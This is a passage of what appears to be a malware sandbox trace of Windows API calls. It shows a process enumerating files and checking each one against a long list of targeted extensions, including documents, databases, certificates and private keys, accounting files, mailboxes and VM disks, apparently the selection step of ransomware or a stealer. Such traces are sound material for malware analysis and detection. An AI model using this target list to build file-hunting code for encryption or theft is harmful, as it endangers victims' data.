(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.ppt") returned 0 [0118.848] lstrlenA (lpString="*.ppt") returned 5 [0118.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.pptx") returned 0 [0118.849] lstrlenA (lpString="*.pptx") returned 6 [0118.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.doc") returned 0 [0118.849] lstrlenA (lpString="*.doc") returned 5 [0118.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.dot") returned 0 [0118.849] lstrlenA (lpString="*.dot") returned 5 [0118.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.docx") returned 0 [0118.849] lstrlenA (lpString="*.docx") returned 6 [0118.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.7z") returned 0 [0118.849] lstrlenA (lpString="*.7z") returned 4 [0118.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.tar") returned 0 [0118.849] lstrlenA (lpString="*.tar") returned 5 [0118.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.bz2") returned 0 [0118.849] lstrlenA (lpString="*.bz2") returned 5 [0118.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.gz") returned 0 [0118.849] lstrlenA (lpString="*.gz") returned 4 [0118.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.mkv") returned 0 [0118.849] lstrlenA (lpString="*.mkv") returned 5 [0118.849] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.eml") returned 0 [0118.850] lstrlenA (lpString="*.eml") returned 5 [0118.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.msg") returned 0 [0118.850] lstrlenA (lpString="*.msg") returned 5 [0118.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.edb") returned 0 [0118.850] lstrlenA (lpString="*.edb") returned 5 [0118.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.accdb") returned 0 [0118.850] lstrlenA (lpString="*.accdb") returned 7 [0118.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.odb") returned 0 [0118.850] lstrlenA (lpString="*.odb") returned 5 [0118.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.java") returned 0 [0118.850] lstrlenA (lpString="*.java") returned 6 [0118.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.asm") returned 0 [0118.850] lstrlenA (lpString="*.asm") returned 5 [0118.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.pfx") returned 0 [0118.850] lstrlenA (lpString="*.pfx") returned 5 [0118.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.pem") returned 0 [0118.850] lstrlenA (lpString="*.pem") returned 5 [0118.850] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.p12") returned 0 [0118.850] lstrlenA (lpString="*.p12") returned 5 [0118.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.gpg") returned 0 [0118.851] lstrlenA (lpString="*.gpg") returned 5 [0118.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.vsd") returned 0 [0118.851] lstrlenA (lpString="*.vsd") returned 5 [0118.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.odg") returned 0 [0118.851] lstrlenA (lpString="*.odg") returned 5 [0118.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.raw") returned 0 [0118.851] lstrlenA (lpString="*.raw") returned 5 [0118.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.nef") returned 0 [0118.851] lstrlenA (lpString="*.nef") returned 5 [0118.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.svg") returned 0 [0118.851] lstrlenA (lpString="*.svg") returned 5 [0118.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.psd") returned 0 [0118.851] lstrlenA (lpString="*.psd") returned 5 [0118.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.vmx") returned 0 [0118.851] lstrlenA (lpString="*.vmx") returned 5 [0118.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.vmdk") returned 0 [0118.851] lstrlenA (lpString="*.vmdk") returned 6 [0118.851] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.vdi") returned 0 [0118.851] lstrlenA (lpString="*.vdi") returned 5 [0118.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.lay6") returned 0 [0118.852] lstrlenA (lpString="*.lay6") returned 6 [0118.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.mpeg") returned 0 [0118.852] lstrlenA (lpString="*.mpeg") returned 6 [0118.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.djvu") returned 0 [0118.852] lstrlenA (lpString="*.djvu") returned 6 [0118.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.tiff") returned 0 [0118.852] lstrlenA (lpString="*.tiff") returned 6 [0118.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.backup") returned 0 [0118.852] lstrlenA (lpString="*.backup") returned 8 [0118.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.pdf") returned 0 [0118.852] lstrlenA (lpString="*.pdf") returned 5 [0118.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.cert") returned 0 [0118.852] lstrlenA (lpString="*.cert") returned 6 [0118.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.docm") returned 0 [0118.852] lstrlenA (lpString="*.docm") returned 6 [0118.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.xlsm") returned 0 [0118.852] lstrlenA (lpString="*.xlsm") returned 6 [0118.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.dwg") returned 0 [0118.852] lstrlenA (lpString="*.dwg") returned 5 [0118.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.nd") returned 0 [0118.852] lstrlenA (lpString="*.nd") returned 4 [0118.852] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.tlg") returned 0 [0118.852] lstrlenA (lpString="*.tlg") returned 5 [0118.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.lgb") returned 0 [0118.853] lstrlenA (lpString="*.lgb") returned 5 [0118.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.mov") returned 0 [0118.853] lstrlenA (lpString="*.mov") returned 5 [0118.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.xdw") returned 0 [0118.853] lstrlenA (lpString="*.xdw") returned 5 [0118.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.ods") returned 0 [0118.853] lstrlenA (lpString="*.ods") returned 5 [0118.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.wav") returned 0 [0118.853] lstrlenA (lpString="*.wav") returned 5 [0118.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.mp3") returned 0 [0118.853] lstrlenA (lpString="*.mp3") returned 5 [0118.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.aiff") returned 0 [0118.853] lstrlenA (lpString="*.aiff") returned 6 [0118.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.flac") returned 0 [0118.853] lstrlenA (lpString="*.flac") returned 6 [0118.853] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.m4a") returned 0 [0118.858] lstrlenA (lpString="*.m4a") returned 5 [0118.858] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll", pszSpec="*.csv") returned 0 [0118.859] lstrlenA (lpString="*.csv") returned 5 [0118.859] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a0ef9d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8a0ef9d0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8a0ef9d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Design.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0118.859] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0118.860] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\") returned="" [0118.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.ems") returned 0 [0118.860] lstrlenA (lpString="*.ems") returned 5 [0118.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.db") returned 0 [0118.861] lstrlenA (lpString="*.db") returned 4 [0118.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.dbf") returned 0 [0118.861] lstrlenA (lpString="*.dbf") returned 5 [0118.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.myox") returned 0 [0118.861] lstrlenA (lpString="*.myox") returned 6 [0118.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.myo") returned 0 [0118.861] lstrlenA (lpString="*.myo") returned 5 [0118.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.qbw") returned 0 [0118.861] lstrlenA (lpString="*.qbw") returned 5 [0118.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.qbb") returned 0 [0118.861] lstrlenA (lpString="*.qbb") returned 5 [0118.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.qbm") returned 0 [0118.861] lstrlenA (lpString="*.qbm") returned 5 [0118.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.qbo") returned 0 [0118.861] lstrlenA (lpString="*.qbo") returned 5 [0118.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.qbx") returned 0 [0118.861] lstrlenA (lpString="*.qbx") returned 5 [0118.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.qba") returned 0 [0118.861] lstrlenA (lpString="*.qba") returned 5 [0118.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.qby") returned 0 [0118.861] lstrlenA (lpString="*.qby") returned 5 [0118.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.qbj") returned 0 [0118.861] lstrlenA (lpString="*.qbj") returned 5 [0118.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.ofx") returned 0 [0118.861] lstrlenA (lpString="*.ofx") returned 5 [0118.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.qif") returned 0 [0118.861] lstrlenA (lpString="*.qif") returned 5 [0118.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.mye") returned 0 [0118.861] lstrlenA (lpString="*.mye") returned 5 [0118.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.mbox") returned 0 [0118.862] lstrlenA (lpString="*.mbox") returned 6 [0118.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.eml") returned 0 [0118.862] lstrlenA (lpString="*.eml") returned 5 [0118.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.pst") returned 0 [0118.862] lstrlenA (lpString="*.pst") returned 5 [0118.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.ost") returned 0 [0118.862] lstrlenA (lpString="*.ost") returned 5 [0118.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.idx") returned 0 [0118.862] lstrlenA (lpString="*.idx") returned 5 [0118.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.dbx") returned 0 [0118.862] lstrlenA (lpString="*.dbx") returned 5 [0118.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.sql") returned 0 [0118.862] lstrlenA (lpString="*.sql") returned 5 [0118.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.mdb") returned 0 [0118.862] lstrlenA (lpString="*.mdb") returned 5 [0118.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.fdb") returned 0 [0118.862] lstrlenA (lpString="*.fdb") returned 5 [0118.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.wab") returned 0 [0118.862] lstrlenA (lpString="*.wab") returned 5 [0118.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.dat") returned 0 [0118.862] lstrlenA (lpString="*.dat") returned 5 [0118.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.txt") returned 0 [0118.862] lstrlenA (lpString="*.txt") returned 5 [0118.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.jpeg") returned 0 [0118.862] lstrlenA (lpString="*.jpeg") returned 6 [0118.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.jpg") returned 0 [0118.862] lstrlenA (lpString="*.jpg") returned 5 [0118.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.png") returned 0 [0118.863] lstrlenA (lpString="*.png") returned 5 [0118.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.php") returned 0 [0118.863] lstrlenA (lpString="*.php") returned 5 [0118.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.cs") returned 0 [0118.863] lstrlenA (lpString="*.cs") returned 4 [0118.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.cpp") returned 0 [0118.863] lstrlenA (lpString="*.cpp") returned 5 [0118.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.rar") returned 0 [0118.863] lstrlenA (lpString="*.rar") returned 5 [0118.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.zip") returned 0 [0118.863] lstrlenA (lpString="*.zip") returned 5 [0118.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.html") returned 0 [0118.863] lstrlenA (lpString="*.html") returned 6 [0118.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.htm") returned 0 [0118.863] lstrlenA (lpString="*.htm") returned 5 [0118.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.xlsx") returned 0 [0118.863] lstrlenA (lpString="*.xlsx") returned 6 [0118.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.xls") returned 0 [0118.863] lstrlenA (lpString="*.xls") returned 5 [0118.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.mp4") returned 0 [0118.863] lstrlenA (lpString="*.mp4") returned 5 [0118.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.ppt") returned 0 [0118.863] lstrlenA (lpString="*.ppt") returned 5 [0118.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.pptx") returned 0 [0118.863] lstrlenA (lpString="*.pptx") returned 6 [0118.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.doc") returned 0 [0118.863] lstrlenA (lpString="*.doc") returned 5 [0118.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.dot") returned 0 [0118.864] lstrlenA (lpString="*.dot") returned 5 [0118.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.docx") returned 0 [0118.864] lstrlenA (lpString="*.docx") returned 6 [0118.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.7z") returned 0 [0118.864] lstrlenA (lpString="*.7z") returned 4 [0118.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.tar") returned 0 [0118.864] lstrlenA (lpString="*.tar") returned 5 [0118.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.bz2") returned 0 [0118.864] lstrlenA (lpString="*.bz2") returned 5 [0118.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.gz") returned 0 [0118.864] lstrlenA (lpString="*.gz") returned 4 [0118.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.mkv") returned 0 [0118.864] lstrlenA (lpString="*.mkv") returned 5 [0118.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.eml") returned 0 [0118.864] lstrlenA (lpString="*.eml") returned 5 [0118.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.msg") returned 0 [0118.864] lstrlenA (lpString="*.msg") returned 5 [0118.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Design\\968b53e76ae324cf4a58524d996d245d\\System.Design.ni.dll.aux", pszSpec="*.edb") returned 0 [0118.864] lstrlenA (lpString="*.edb") returned 5 [0118.864] PathMatchSpecA 